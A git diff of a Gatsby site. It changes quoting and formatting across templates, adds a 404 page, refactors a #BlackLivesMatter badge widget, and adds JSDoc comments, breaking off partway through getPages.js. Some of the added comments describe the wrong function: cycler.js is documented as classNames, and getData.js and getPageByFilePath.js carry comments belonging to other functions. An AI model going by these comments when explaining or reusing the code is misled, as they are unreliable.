index fd0fbda774..8c77afe6a2 100644
--- a/src/sass/main.scss
+++ b/src/sass/main.scss
@@ -1,18 +1,18 @@
-@import "imports/functions";
-@import "imports/variables";
-@import "imports/reset";
-@import "imports/general";
-@import "imports/tables";
-@import "imports/forms";
-@import "imports/buttons";
-@import "imports/icons";
-@import "imports/helpers";
-@import "imports/animations";
-@import "imports/structure";
-@import "imports/header";
-@import "imports/posts";
-@import "imports/docs";
-@import "imports/sections";
-@import "imports/footer";
-@import "imports/palettes";
-//@import "imports/prism";
+@import 'imports/functions';
+@import 'imports/variables';
+@import 'imports/reset';
+@import 'imports/general';
+@import 'imports/tables';
+@import 'imports/forms';
+@import 'imports/buttons';
+@import 'imports/icons';
+@import 'imports/helpers';
+@import 'imports/animations';
+@import 'imports/structure';
+@import 'imports/header';
+@import 'imports/posts';
+@import 'imports/docs';
+@import 'imports/sections';
+@import 'imports/footer';
+@import 'imports/palettes';
+@import "imports/prism";
\ No newline at end of file
diff --git a/src/templates/404.js b/src/templates/404.js
new file mode 100644
index 0000000000..c9e0376772
--- /dev/null
+++ b/src/templates/404.js
@@ -0,0 +1,58 @@
+import * as React from "react"
+import {Link} from "gatsby"
+
+// styles
+const pageStyles = {
+    color: "#232129",
+    padding: "96px",
+    fontFamily: "-apple-system, Roboto, sans-serif, serif"
+}
+const headingStyles = {
+    marginTop: 0,
+    marginBottom: 64,
+    maxWidth: 320
+}
+
+const paragraphStyles = {
+    marginBottom: 48
+}
+const codeStyles = {
+    color: "#8A6534",
+    padding: 4,
+    backgroundColor: "#FFF4DB",
+    fontSize: "1.25rem",
+    borderRadius: 4
+}
+
+// markup
+const NotFoundPage = () => {
+    return (
+        <main style={pageStyles}>
+            <title>Not found</title>
+            <h1 style={headingStyles}>Page not found</h1>
+            <p style={paragraphStyles}>
+                Sorry{" "}
+                <span role="img" aria-label="Pensive emoji">
+                    😔
+                </span>
+                {" "}
+                we couldn’t find what you were looking for.
+                <br/> {
+                process.env.NODE_ENV === "development" ? (
+                    <>
+                        <br/>
+                        Try creating a page in
+                        <code style={codeStyles}>src/pages/</code>.
+                        <br/>
+                    </>
+                ) : null
+            }
+                <br/>
+                <Link to="/">Go home</Link>.
+            </p>
+        </main>
+    )
+}
+
+export default NotFoundPage
+
diff --git a/src/templates/advanced.js b/src/templates/advanced.js
index 1bec8e176a..9a4a8d77cd 100644
--- a/src/templates/advanced.js
+++ b/src/templates/advanced.js
@@ -1,25 +1,30 @@
-import { graphql } from 'gatsby';
-import _ from 'lodash';
 import React from 'react';
-import components, { Layout } from '../components/index';
+import _ from 'lodash';
+import {graphql} from 'gatsby';
+
+import components, {Layout} from '../components/index';
+
 // this minimal GraphQL query ensures that when 'gatsby develop' is running,
 // any changes to content files are reflected in browser
 export const query = graphql`
-    query ($url: String) {
-        sitePage(path: { eq: $url }) {
-            id
-        }
+  query($url: String) {
+    sitePage(path: {eq: $url}) {
+      id
     }
+  }
 `;
+
 export default class Advanced extends React.Component {
     render() {
         return (
             <Layout {...this.props}>
-                {_.map(_.get(this.props, 'pageContext.frontmatter.sections', null), (section, section_idx) => {
-                    let component = _.upperFirst(_.camelCase(_.get(section, 'type', null)));
-                    let Component = components[component];
-                    return <Component key={section_idx} {...this.props} section={section} site={this.props.pageContext.site} />;
-                })}
+            {_.map(_.get(this.props, 'pageContext.frontmatter.sections', null), (section, section_idx) => {
+                const component = _.upperFirst(_.camelCase(_.get(section, 'type', null)));
+                const Component = components[component];
+                return (
+                  <Component key={section_idx} {...this.props} section={section} site={this.props.pageContext.site} />
+                )
+            })}
             </Layout>
         );
     }
diff --git a/src/templates/blog.js b/src/templates/blog.js
index dd2af7360d..78e8b0db14 100644
--- a/src/templates/blog.js
+++ b/src/templates/blog.js
@@ -1,12 +1,12 @@
-import { graphql } from 'gatsby';
+import {graphql} from 'gatsby';
 import _ from 'lodash';
 import moment from 'moment-strftime';
 import React from 'react';
-import { Layout } from '../components/index';
-import { getPages, Link, toStyleObj, withPrefix } from '../utils';
+import {Layout} from '../components/index';
+import {getPages, Link, toStyleObj, withPrefix} from '../utils';
 // this minimal GraphQL query ensures that when 'gatsby develop' is running,
 // any changes to content files are reflected in browser
-export const query = graphql`
+export const query = graphql `
     query ($url: String) {
         sitePage(path: { eq: $url }) {
             id
@@ -15,64 +15,99 @@ export const query = graphql`
 `;
 export default class Blog extends React.Component {
     render() {
-        let display_posts = _.orderBy(getPages(this.props.pageContext.pages, '/blog'), 'frontmatter.date', 'desc');
+        const display_posts = _.orderBy(getPages(this.props.pageContext.pages, '/blog'), 'frontmatter.date', 'desc');
         return (
             <Layout {...this.props}>
                 <header className="page-header has-gradient outer">
-                    {_.get(this.props, 'pageContext.frontmatter.image', null) && (
-                        <div
-                            className="bg-img"
-                            style={toStyleObj("background-image: url('" + withPrefix(_.get(this.props, 'pageContext.frontmatter.image', null)) + "')")}
-                        />
-                    )}
+                    {
+                    _.get(this.props, 'pageContext.frontmatter.image', null) && (
+                        <div className="bg-img"
+                            style={
+                                toStyleObj(`background-image: url('${withPrefix(_.get(this.props, 'pageContext.frontmatter.image', null))}')`)
+                            }/>
+                    )
+                }
                     <div className="inner-sm">
-                        <h1 className="page-title">{_.get(this.props, 'pageContext.frontmatter.title', null)}</h1>
-                        {_.get(this.props, 'pageContext.frontmatter.subtitle', null) && (
-                            <p className="page-subtitle">{_.get(this.props, 'pageContext.frontmatter.subtitle', null)}</p>
-                        )}
-                    </div>
+                        <h1 className="page-title">
+                            {
+                            _.get(this.props, 'pageContext.frontmatter.title', null)
+                        }</h1>
+                        {
+                        _.get(this.props, 'pageContext.frontmatter.subtitle', null) && (
+                            <p className="page-subtitle">
+                                {
+                                _.get(this.props, 'pageContext.frontmatter.subtitle', null)
+                            }</p>
+                        )
+                    } </div>
                 </header>
                 <div className="inner-md outer">
                     <div className="post-feed">
-                        {_.map(display_posts, (post, post_idx) => (
-                            <article key={post_idx} className="post">
-                                {_.get(post, 'frontmatter.thumb_image', null) && (
-                                    <Link className="post-thumbnail" to={withPrefix(_.get(post, 'url', null))}>
-                                        <img
-                                            src={withPrefix(_.get(post, 'frontmatter.thumb_image', null))}
-                                            alt={_.get(this.props, 'pageContext.frontmatter.thumb_image_alt', null)}
-                                        />
+                        {
+                        _.map(display_posts, (post, post_idx) => (
+                            <article key={post_idx}
+                                className="post">
+                                {
+                                _.get(post, 'frontmatter.thumb_image', null) && (
+                                    <Link className="post-thumbnail"
+                                        to={
+                                            withPrefix(_.get(post, 'url', null))
+                                    }>
+                                        <img src={
+                                                withPrefix(_.get(post, 'frontmatter.thumb_image', null))
+                                            }
+                                            alt={
+                                                _.get(this.props, 'pageContext.frontmatter.thumb_image_alt', null)
+                                            }/>
                                     </Link>
-                                )}
+                                )
+                            }
                                 <header className="post-header">
                                     <div className="post-meta">
-                                        <time className="published" dateTime={moment(_.get(post, 'frontmatter.date', null)).strftime('%Y-%m-%d %H:%M')}>
-                                            {moment(_.get(post, 'frontmatter.date', null)).strftime('%B %d, %Y')}
-                                        </time>
+                                        <time className="published"
+                                            dateTime={
+                                                moment(_.get(post, 'frontmatter.date', null)).strftime('%Y-%m-%d %H:%M')
+                                        }>
+                                            {
+                                            moment(_.get(post, 'frontmatter.date', null)).strftime('%B %d, %Y')
+                                        } </time>
                                     </div>
                                     <h2 className="post-title line-left">
-                                        <Link to={withPrefix(_.get(post, 'url', null))} rel="bookmark">
-                                            {_.get(post, 'frontmatter.title', null)}
-                                        </Link>
+                                        <Link to={
+                                                withPrefix(_.get(post, 'url', null))
+                                            }
+                                            rel="bookmark">
+                                            {
+                                            _.get(post, 'frontmatter.title', null)
+                                        } </Link>
                                     </h2>
                                 </header>
-                                {_.get(post, 'frontmatter.excerpt', null) && (
+                                {
+                                _.get(post, 'frontmatter.excerpt', null) && (
                                     <React.Fragment>
-                                        <p className="post-excerpt">{_.get(post, 'frontmatter.excerpt', null)}</p>
-                                        {_.get(this.props, 'pageContext.frontmatter.has_more_link', null) === true &&
-                                            _.get(this.props, 'pageContext.frontmatter.more_link_text', null) && (
-                                                <p className="read-more">
-                                                    <Link className="read-more-link" to={withPrefix(_.get(post, 'url', null))}>
-                                                        {_.get(this.props, 'pageContext.frontmatter.more_link_text', null)}
-                                                    </Link>
-                                                </p>
-                                            )}
-                                    </React.Fragment>
-                                )}
-                            </article>
-                        ))}
-                    </div>
+                                        <p className="post-excerpt">
+                                            {
+                                            _.get(post, 'frontmatter.excerpt', null)
+                                        }</p>
+                                        {
+                                        _.get(this.props, 'pageContext.frontmatter.has_more_link', null) === true && _.get(this.props, 'pageContext.frontmatter.more_link_text', null) && (
+                                            <p className="read-more">
+                                                <Link className="read-more-link"
+                                                    to={
+                                                        withPrefix(_.get(post, 'url', null))
+                                                }>
+                                                    {
+                                                    _.get(this.props, 'pageContext.frontmatter.more_link_text', null)
+                                                } </Link>
+                                            </p>
+                                        )
+                                    } </React.Fragment>
+                                )
+                            } </article>
+                        ))
+                    } </div>
                 </div>
+                <div className="gcse-search" />
             </Layout>
         );
     }
diff --git a/src/templates/docs.js b/src/templates/docs.js
index 115a35c4a7..a92f23f5e8 100644
--- a/src/templates/docs.js
+++ b/src/templates/docs.js
@@ -16,8 +16,8 @@ export const query = graphql`
 `;
 export default class Docs extends React.Component {
     render() {
-        let root_docs_path = _.trim(_.get(this.props, 'pageContext.site.data.doc_sections.root_docs_path', null), '/');
-        let current_page_url = _.trim(_.get(this.props, 'pageContext.url', null), '/');
+        const root_docs_path = _.trim(_.get(this.props, 'pageContext.site.data.doc_sections.root_docs_path', null), '/');
+        const current_page_url = _.trim(_.get(this.props, 'pageContext.url', null), '/');
         return (
             <Layout {...this.props}>
                 <div className="inner outer">
@@ -32,9 +32,9 @@ export default class Docs extends React.Component {
                                     {htmlToReact(_.get(this.props, 'pageContext.html', null))}
                                     {root_docs_path !== current_page_url &&
                                         (() => {
-                                            let child_pages = _.orderBy(getPages(this.props.pageContext.pages, current_page_url), 'frontmatter.weight');
-                                            let child_count = _.size(child_pages);
-                                            let has_children = !!(child_count > 0);
+                                            const child_pages = _.orderBy(getPages(this.props.pageContext.pages, current_page_url), 'frontmatter.weight');
+                                            const child_count = _.size(child_pages);
+                                            const has_children = child_count > 0;
                                             return (
                                                 <React.Fragment>
                                                     {has_children && (
@@ -63,7 +63,7 @@ export default class Docs extends React.Component {
                         </nav>
                     </div>
                     <Disqus />
-                    <div data-sheet2site="1c4ZMBRKv7mwotLxfd_5-Q_XxC2_Dkc3NLfFQMmEV7Vo&g=1&e=1"></div>
+                    <div data-sheet2site="1c4ZMBRKv7mwotLxfd_5-Q_XxC2_Dkc3NLfFQMmEV7Vo&g=1&e=1" />
                 </div>
             </Layout>
         );
diff --git a/src/templates/page.js b/src/templates/page.js
index ef91773ceb..bc1174b0aa 100644
--- a/src/templates/page.js
+++ b/src/templates/page.js
@@ -22,7 +22,7 @@ export default class Page extends React.Component {
                         {_.get(this.props, 'pageContext.frontmatter.image', null) && (
                             <div
                                 className="bg-img"
-                                style={toStyleObj("background-image: url('" + withPrefix(_.get(this.props, 'pageContext.frontmatter.image', null)) + "')")}
+                                style={toStyleObj(`background-image: url('${withPrefix(_.get(this.props, 'pageContext.frontmatter.image', null))}')`)}
                             />
                         )}
                         <div className="inner-sm">
diff --git a/src/templates/post.js b/src/templates/post.js
index 2c1d2c4172..6692e4f07c 100644
--- a/src/templates/post.js
+++ b/src/templates/post.js
@@ -23,7 +23,7 @@ export default class Post extends React.Component {
                         {_.get(this.props, 'pageContext.frontmatter.image', null) && (
                             <div
                                 className="bg-img"
-                                style={toStyleObj("background-image: url('" + withPrefix(_.get(this.props, 'pageContext.frontmatter.image', null)) + "')")}
+                                style={toStyleObj(`background-image: url('${withPrefix(_.get(this.props, 'pageContext.frontmatter.image', null))}')`)}
                             />
                         )}
                         <div className="inner-sm">
diff --git a/src/utils/attribute.js b/src/utils/attribute.js
index c1719f871e..9768fc66d2 100644
--- a/src/utils/attribute.js
+++ b/src/utils/attribute.js
@@ -2,9 +2,5 @@ export default function attribute(name, value, condition) {
     if (typeof condition === 'undefined') {
         condition = true;
     }
-    return condition
-        ? {
-              [name]: value
-          }
-        : null;
+    return condition ? { [name]: value } : null;
 }
diff --git a/src/utils/blm-badge.js b/src/utils/blm-badge.js
index 28e5001cab..24990da6cd 100644
--- a/src/utils/blm-badge.js
+++ b/src/utils/blm-badge.js
@@ -1,21 +1,25 @@
+/**
+ * It creates a new object called BLMBadge.
+ * @param t - {
+ */
 function MakerBadge(t) {
     (this.userId = ''),
-        (this.position = 'left'),
-        (this.layout = 1),
-        (this.coffee = !1),
-        (this.customHTML = ''),
-        (this.mounted = !1),
-        (this.imageAlt = ''),
-        (this.theme = ''),
-        (this.title = '#BlackLivesMatter'),
-        (this.message = 'To be silent is to be complicit. Black lives matter.'),
-        (this.pic = ''),
-        (this.promoLink = 'https://minnesotafreedomfund.org/'),
-        (this.promoText = 'Send a donation ' + String.fromCodePoint(8594));
+    (this.position = 'left'),
+    (this.layout = 1),
+    (this.coffee = !1),
+    (this.customHTML = ''),
+    (this.mounted = !1),
+    (this.imageAlt = ''),
+    (this.theme = ''),
+    (this.title = '#BlackLivesMatter'),
+    (this.message = 'To be silent is to be complicit. Black lives matter.'),
+    (this.pic = ''),
+    (this.promoLink = 'https://minnesotafreedomfund.org/'),
+    (this.promoText = `Send a donation ${String.fromCodePoint(8594)}`);
 }
 MakerBadge.prototype = {
     constructor: MakerBadge,
-    init: function (t, e) {
+    init(t, e) {
         t.id && (this.userId = t.id),
             t.position && (this.position = t.position),
             t.layout && (this.layout = t.layout),
@@ -27,33 +31,33 @@ MakerBadge.prototype = {
             t.message && (this.message = t.message),
             t.customHTML && (this.customHTML = t.customHTML),
             this.layout &&
-                t.pic &&
-                (this.pic =
-                    '<img alt="' +
-                    (t.imageAlt ? t.imageAlt : 'Black Lives Matter Badge') +
-                    '" width="30" style="border-radius:100%" src="' +
-                    t.pic +
-                    '"/>&nbsp;&nbsp;'),
+            t.pic &&
+            (this.pic =
+                '<img alt="' +
+                (t.imageAlt ? t.imageAlt : 'Black Lives Matter Badge') +
+                '" width="30" style="border-radius:100%" src="' +
+                t.pic +
+                '"/>&nbsp;&nbsp;'),
             (this.mounted = !0),
             this.run(e);
     },
-    run: function (t) {
-        const e = document.querySelector('html'),
-            i = document.createElement('div'),
-            a = document.createElement('div'),
-            o = document.createElement('div'),
-            n = document.createElement('div'),
-            s = document.createElement('div'),
-            r = document.createElement('a'),
-            d = document.createElement('a'),
-            l = document.createElement('a');
+    run(t) {
+        const e = document.querySelector('html');
+        const i = document.createElement('div');
+        const a = document.createElement('div');
+        const o = document.createElement('div');
+        const n = document.createElement('div');
+        const s = document.createElement('div');
+        const r = document.createElement('a');
+        const d = document.createElement('a');
+        const l = document.createElement('a');
         (l.style = 'display:block;margin: 0.5rem 0;font-size:10px;color:#718096;text-decoration:none;font-weight:400;'),
-            (l.innerHTML = 'Add this to your website'),
-            (l.target = '_blank'),
-            (l.href = 'http://blmbadge.unicornplatform.com');
+        (l.innerHTML = 'Add this to your website'),
+        (l.target = '_blank'),
+        (l.href = 'http://blmbadge.unicornplatform.com');
         const m = document.createElement('div');
         (m.innerHTML = this.customHTML),
-            this.setStyle(),
+        this.setStyle(),
             document.getElementsByTagName('head')[0].appendChild(this.style),
             (o.innerHTML = 'Maker'),
             (r.innerHTML = 'P'),
@@ -68,94 +72,93 @@ MakerBadge.prototype = {
             i.appendChild(o),
             i.appendChild(a);
         let p = 0;
-        var b = this,
-            g = 'https://tinify-bucket.s3-us-west-1.amazonaws.com/blm-blue-round.png',
-            c = '';
-        'dark' == b.theme
-            ? (g = 'https://tinify-bucket.s3-us-west-1.amazonaws.com/blm-blue-round.png')
-            : 'light' == b.theme &&
-              ((g = 'https://tinify-bucket.s3-us-west-1.amazonaws.com/blm-white-round.png'), 2 == b.layout && (c = 'border:1px solid #cbd5e0;'));
-        const h = b.pic ? b.pic : g,
-            u =
-                '<img alt="' +
-                (b.imageAlt ? b.imageAlt : 'Black Lives Matter Badge') +
-                '" style="' +
-                c +
-                '" width="' +
-                (2 === b.layout ? 50 : 30) +
-                '" class="maker-badge__btn-img" src="' +
-                h +
-                '"/>&nbsp;&nbsp;',
-            x = b.title ? b.title : '#BlackLivesMatter';
-        1 === b.layout ? (o.innerHTML = u + x) : 2 === b.layout ? (o.innerHTML = u) : (o.innerHTML = u + x),
+        let g = 'https://tinify-bucket.s3-us-west-1.amazonaws.com/blm-blue-round.png';
+        let c = '';
+        if ('dark' == this.theme) {
+            (g = 'https://tinify-bucket.s3-us-west-1.amazonaws.com/blm-blue-round.png');
+        } else if ('light' == this.theme) (g = 'https://tinify-bucket.s3-us-west-1.amazonaws.com/blm-white-round.png'), 2 == this.layout && (c = 'border:1px solid #cbd5e0;');
+        const h = this.pic ? this.pic : g;
+        const u =
+        '<img alt="' +
+        (this.imageAlt ? this.imageAlt : 'Black Lives Matter Badge') +
+        '" style="' +
+        c +
+        '" width="' +
+        (2 === this.layout ? 50 : 30) +
+        '" class="maker-badge__btn-img" src="' +
+        h +
+        '"/>&nbsp;&nbsp;';
+        const x = this.title ? this.title : '#BlackLivesMatter';
+        1 === this.layout ? (o.innerHTML = u + x) : 2 === this.layout ? (o.innerHTML = u) : (o.innerHTML = u + x),
             (n.innerHTML = ''),
-            2 === b.layout && (a.innerHTML += '<div style="font-weight:600;font-size:1.125rem;">' + x + '</div>'),
-            (a.innerHTML += '<div style="color:#4a5568;max-width:200px;padding:0.5rem 0px 0;line-height:1.2rem">' + b.message + '</div>'),
+            2 === this.layout && (a.innerHTML += `<div style="font-weight:600;font-size:1.125rem;">${x}</div>`),
+            (a.innerHTML += `<div style="color:#4a5568;max-width:200px;padding:0.5rem 0px 0;line-height:1.2rem">${this.message}</div>`),
             (n.innerHTML +=
                 '<div style="margin-top:0.5rem;"><a style="color:#2B6CB0;text-decoration:underline;font-weight: 600;" target="_blank" href="' +
-                b.promoLink +
+                this.promoLink +
                 '">' +
-                b.promoText +
+                this.promoText +
                 '</a></div>'),
             a.appendChild(n),
-            b.twitter && a.appendChild(d),
-            b.customHTML && a.appendChild(m),
+            this.twitter && a.appendChild(d),
+            this.customHTML && a.appendChild(m),
             a.appendChild(l),
             e.appendChild(i),
             (p = i.clientHeight),
-            2 === b.layout ? (i.style.bottom = 'calc(-' + p + 'px + 76px)') : (i.style.bottom = 'calc(-' + p + 'px + 50px)'),
+            2 === this.layout ? (i.style.bottom = `calc(-${p}px + 76px)`) : (i.style.bottom = `calc(-${p}px + 50px)`),
             i.classList.add('transition'),
             (i.style.visibility = 'visible'),
-            t && t(),
+            t?.(),
             o.addEventListener('click', () => {
-                i.classList.contains('isOpen')
-                    ? (2 === b.layout
-                          ? i.setAttribute('style', 'visibility:visible;bottom:calc(-' + p + 'px + 76px)')
-                          : i.setAttribute('style', 'visibility:visible;bottom:calc(-' + p + 'px + 50px)'),
-                      i.classList.remove('isOpen'))
-                    : (i.setAttribute('style', 'visibility:visible;'), i.classList.add('isOpen'));
+                if (i.classList.contains('isOpen')) {
+                    (2 === this.layout ?
+                    i.setAttribute('style', `visibility:visible;bottom:calc(-${p}px + 76px)`) :
+                    i.setAttribute('style', `visibility:visible;bottom:calc(-${p}px + 50px)`),
+                    i.classList.remove('isOpen'));
+                } else {
+                    (i.setAttribute('style', 'visibility:visible;'), i.classList.add('isOpen'));
+                }
             });
     },
-    setStyle: function () {
+    setStyle() {
         let t = '.isOpen{bottom: 0;}';
         if (((this.style = document.createElement('style')), (this.style.type = 'text/css'), 1 === this.layout)) {
             var e =
                 '.ph-btn{margin: 0 auto;          height: 30px;           width: 30px;           text-align: left;           line-height: 30px;          background: #da552f;          display: block;          border-radius: 50%;          font-size: 1rem;          color: #fff;          text-decoration: none;          font-weight: 800;}';
-            const i = '.maker-badge, .maker-badge *,.maker-badge *:before,.maker-badge *:after{box-sizing: border-box;}',
-                a =
-                    '.maker-badge{z-index:99;max-width:200px;color:#2b2b2b;font-size:16px;font-family:helvetica;text-align:right;height:auto;min-width:160px;position:fixed;bottom:-100%;' +
-                    this.position +
-                    ':0;border-top-left-radius:6px;}',
-                o = '.maker-badge__content{text-align:left;font-size:.9rem;border: 1px solid #cbd5e0;padding:.5rem;display:block;background:#fff;height:100%;}',
-                n =
-                    '.maker-badge__btn{display:flex;align-items:center;height:50px;line-height:50px;padding: 0 .5rem;cursor:pointer;border:1px solid #cbd5e0;border-bottom:0;background:#fff;border-top-left-radius:6px;color:#2d3748;}',
-                s = '.maker-badge__stats{list-style: none;padding: 0;margin: .3rem 0;} .maker-badge__stats li {margin: .3rem 0}',
-                r = '.maker-badge__btn-img {border-radius: 50%;}';
-            this.style.innerHTML = '.transition {transition: all .3s ease}' + r + s + i + a + o + n + e + t;
+            const i = '.maker-badge, .maker-badge *,.maker-badge *:before,.maker-badge *:after{box-sizing: border-box;}';
+            const a =
+            '.maker-badge{z-index:99;max-width:200px;color:#2b2b2b;font-size:16px;font-family:helvetica;text-align:right;height:auto;min-width:160px;position:fixed;bottom:-100%;' +
+            this.position +
+            ':0;border-top-left-radius:6px;}';
+            const o = '.maker-badge__content{text-align:left;font-size:.9rem;border: 1px solid #cbd5e0;padding:.5rem;display:block;background:#fff;height:100%;}';
+            const n =
+            '.maker-badge__btn{display:flex;align-items:center;height:50px;line-height:50px;padding: 0 .5rem;cursor:pointer;border:1px solid #cbd5e0;border-bottom:0;background:#fff;border-top-left-radius:6px;color:#2d3748;}';
+            const s = '.maker-badge__stats{list-style: none;padding: 0;margin: .3rem 0;} .maker-badge__stats li {margin: .3rem 0}';
+            const r = '.maker-badge__btn-img {border-radius: 50%;}';
+            this.style.innerHTML = `.transition {transition: all .3s ease}${r}${s}${i}${a}${o}${n}${e}${t}`;
         }
         if (2 === this.layout) {
             t =
                 '.isOpen{          bottom: 0;}          .isOpen .maker-badge__btn {            margin-bottom: -20px;          z-index: 99;}          .isOpen .maker-badge__content{            box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);          }';
             e =
                 '.ph-btn{margin: 0 auto;          height: 30px;           width: 30px;           text-align: left;           line-height: 30px;          background: #da552f;          display: block;          border-radius: 50%;          font-size: 1rem;          color: #fff;          text-decoration: none;          font-weight: 800;}';
-            const i = '.maker-badge, .maker-badge *,.maker-badge *:before,.maker-badge *:after{box-sizing: border-box;}',
-                a =
-                    '.maker-badge{z-index:99;visibility:hidden;color:#2b2b2b;font-size:16px;font-family:helvetica;text-align:' +
-                    this.position +
-                    ';height:auto;min-width:160px;position:fixed;bottom:-100%;' +
-                    this.position +
-                    ':0;border-top-left-radius:6px;}',
-                o =
-                    '.maker-badge__content{                                position:relative;                                text-align:left;                                font-size:.9rem;                                border: 1px solid #cbd5e0;                                padding:1rem;                                border-top-left-radius:.5rem;                                border-top-right-radius:.5rem;                                display:block;                                background:#fff;                                height:100%;}                                .maker-badge__content::before{                                content:"";                                display: block;                                position: absolute;                                top: -10px;                                ' +
-                    this.position +
-                    ': 25px;                                width: 0;                                height: 0;                                border-left: 10px solid transparent;                                border-right: 10px solid transparent;                                border-bottom: 10px solid #fff;',
-                n =
-                    '.maker-badge__btn{                              transition: all .3s ease;                              display: inline-flex;                              justify-content: right;                              align-items: center;                              cursor: pointer;                              position: relative;                              text-align: center;                              width: 44px;                              height: 44px;                              z-index: 99;                              margin: 20px 10px;                              border-radius: 50%;}                              .maker-badge__btn:hover .maker-badge__btn-img {transform:scale(1.1);box-shadow:0px 0px 10px rgba(0,0,0,0.5);}                              .isOpen .maker-badge__btn-img {top:15px;}',
-                s = '.maker-badge__stats{list-style: none;padding: 0;margin: .3rem 0;} .maker-badge__stats li {margin: .3rem 0}',
-                r =
-                    '.maker-badge__btn-img {                                  border-radius: 50%;                                  width: 44px;                                  position: absolute;                                  top: 0;                                  right: 0;                                  left: 0;                                  bottom: 0;                                  transition: all .3s ease;                                  margin: auto;}';
-            this.style.innerHTML = '.transition {transition: all .3s ease}' + r + s + i + a + n + e + t + o;
+            const i = '.maker-badge, .maker-badge *,.maker-badge *:before,.maker-badge *:after{box-sizing: border-box;}';
+            const a =
+            '.maker-badge{z-index:99;visibility:hidden;color:#2b2b2b;font-size:16px;font-family:helvetica;text-align:' +
+            this.position +
+            ';height:auto;min-width:160px;position:fixed;bottom:-100%;' +
+            this.position +
+            ':0;border-top-left-radius:6px;}';
+            const o =
+            '.maker-badge__content{                                position:relative;                                text-align:left;                                font-size:.9rem;                                border: 1px solid #cbd5e0;                                padding:1rem;                                border-top-left-radius:.5rem;                                border-top-right-radius:.5rem;                                display:block;                                background:#fff;                                height:100%;}                                .maker-badge__content::before{                                content:"";                                display: block;                                position: absolute;                                top: -10px;                                ' +
+            this.position +
+            ': 25px;                                width: 0;                                height: 0;                                border-left: 10px solid transparent;                                border-right: 10px solid transparent;                                border-bottom: 10px solid #fff;';
+            const n =
+            '.maker-badge__btn{                              transition: all .3s ease;                              display: inline-flex;                              justify-content: right;                              align-items: center;                              cursor: pointer;                              position: relative;                              text-align: center;                              width: 44px;                              height: 44px;                              z-index: 99;                              margin: 20px 10px;                              border-radius: 50%;}                              .maker-badge__btn:hover .maker-badge__btn-img {transform:scale(1.1);box-shadow:0px 0px 10px rgba(0,0,0,0.5);}                              .isOpen .maker-badge__btn-img {top:15px;}';
+            const s = '.maker-badge__stats{list-style: none;padding: 0;margin: .3rem 0;} .maker-badge__stats li {margin: .3rem 0}';
+            const r =
+            '.maker-badge__btn-img {                                  border-radius: 50%;                                  width: 44px;                                  position: absolute;                                  top: 0;                                  right: 0;                                  left: 0;                                  bottom: 0;                                  transition: all .3s ease;                                  margin: auto;}';
+            this.style.innerHTML = `.transition {transition: all .3s ease}${r}${s}${i}${a}${n}${e}${t}${o}`;
         }
     }
 };
-var BLMBadge = new MakerBadge();
diff --git a/src/utils/classNames.js b/src/utils/classNames.js
index 714d6b9c71..3e65caeaf3 100644
--- a/src/utils/classNames.js
+++ b/src/utils/classNames.js
@@ -1,4 +1,5 @@
 import classnames from 'classnames';
+
 // A simple wrapper around classNames to return null, if no classes were generated
 // Otherwise, original classNames returns empty string which causes class="" to be generated
 export default function classNames(...args) {
diff --git a/src/utils/cycler.js b/src/utils/cycler.js
index 563170f568..85e20331d6 100644
--- a/src/utils/cycler.js
+++ b/src/utils/cycler.js
@@ -1,7 +1,12 @@
+/**
+ * If classnames returns a string, return it, otherwise return null
+ * @param args - The arguments passed to the function.
+ * @returns The function classNames is being returned.
+ */
 export default function cycler() {
     const args = Array.prototype.slice.call(arguments);
     let index = 0;
     return {
         next: () => args[index++ % args.length]
     };
-}
+};
diff --git a/src/utils/getData.js b/src/utils/getData.js
index ff3308a176..7c7a644fb3 100644
--- a/src/utils/getData.js
+++ b/src/utils/getData.js
@@ -1,4 +1,6 @@
+/* Exporting the function cycler. */
 import _ from 'lodash';
+
 export default function getData(siteData, dataPath) {
     dataPath = _.trim(dataPath, '/');
     if (_.startsWith(dataPath, 'src/data/')) {
@@ -8,4 +10,4 @@ export default function getData(siteData, dataPath) {
     dataPath = dataPath.replace(/\.\w+$/, '');
     const path = dataPath.split('/');
     return _.get(siteData, path);
-}
+}
\ No newline at end of file
diff --git a/src/utils/getPage.js b/src/utils/getPage.js
index 579154a86e..ee9aeafc50 100644
--- a/src/utils/getPage.js
+++ b/src/utils/getPage.js
@@ -1,4 +1,5 @@
 import _ from 'lodash';
+
 /**
  * Get the page at the provided `urlPath`.
  *
@@ -9,6 +10,7 @@ import _ from 'lodash';
 export default function getPage(pages, urlPath) {
     urlPath = _.trim(urlPath, '/');
     urlPath = urlPath.replace(/^src\/pages\//, '');
+
     return _.find(pages, (page) => {
         const pageUrlPath = _.trim(_.get(page, 'url'), '/');
         return urlPath === pageUrlPath;
diff --git a/src/utils/getPageByFilePath.js b/src/utils/getPageByFilePath.js
index 266637891b..ec0feef474 100644
--- a/src/utils/getPageByFilePath.js
+++ b/src/utils/getPageByFilePath.js
@@ -1,4 +1,11 @@
+/**
+ * It takes a data path and returns the data at that path
+ * @param siteData - The site data object.
+ * @param dataPath - The path to the data file.
+ * @returns The data from the dataPath.
+ */
 import _ from 'lodash';
+
 /**
  * Get the page at the provided `filePath`.
  *
@@ -9,8 +16,9 @@ import _ from 'lodash';
 export default function getPageByFilePath(pages, filePath) {
     filePath = _.trim(filePath, '.md');
     const urlPath = filePath.replace(/^\/?src\/pages\//, '');
+
     return _.find(pages, (page) => {
         const pageUrlPath = _.trim(_.get(page, 'url'), '/');
         return urlPath === pageUrlPath;
     });
-}
+}
\ No newline at end of file
diff --git a/src/utils/getPages.js b/src/utils/getPages.js
index f5508c93d5..a4f108edc1 100644
--- a/src/utils/getPages.js
+++ b/src/utils/getPages.js
@@ -1,4 +1,11 @@
+/**
+ * It returns all the pages that are located under the provided URL path
+ * @param pages - An array of page objects. All pages must have 'url' field.
+ * @param urlPath - The URL path of the page you want to get the children of.
+ * @returns An array of objects that have a url property that starts with the urlPath.
+ */
 import _ from 'lodash';
+
 /**
  * Get all the pages located under the provided `urlPath`, not including the
  * index page. I.e.: All pages having their URLs start with `urlPath` excluding
@@ -24,12 +31,12 @@ import _ from 'lodash';
  * @param {string} urlPath The url path to filter pages by
  * @return {Array}
  */
-export default function getPages(pages, urlPath) {
-    urlPath = _.trim(urlPath, '/');
-    const urlPathParts = _.split(urlPath, '/');
-    return _.filter(pages, (page) => {
-        const pageUrlPath = _.trim(page.url, '/');
-        const pageUrlParts = _.split(pageUrlPath, '/');
-        return pageUrlParts.length > urlPathParts.length && _.isEqual(pageUrlParts.slice(0, urlPathParts.length), urlPathParts);
-    });
+export default function getPages( pages, urlPath ) {
+  urlPath = _.trim( urlPath, '/' );
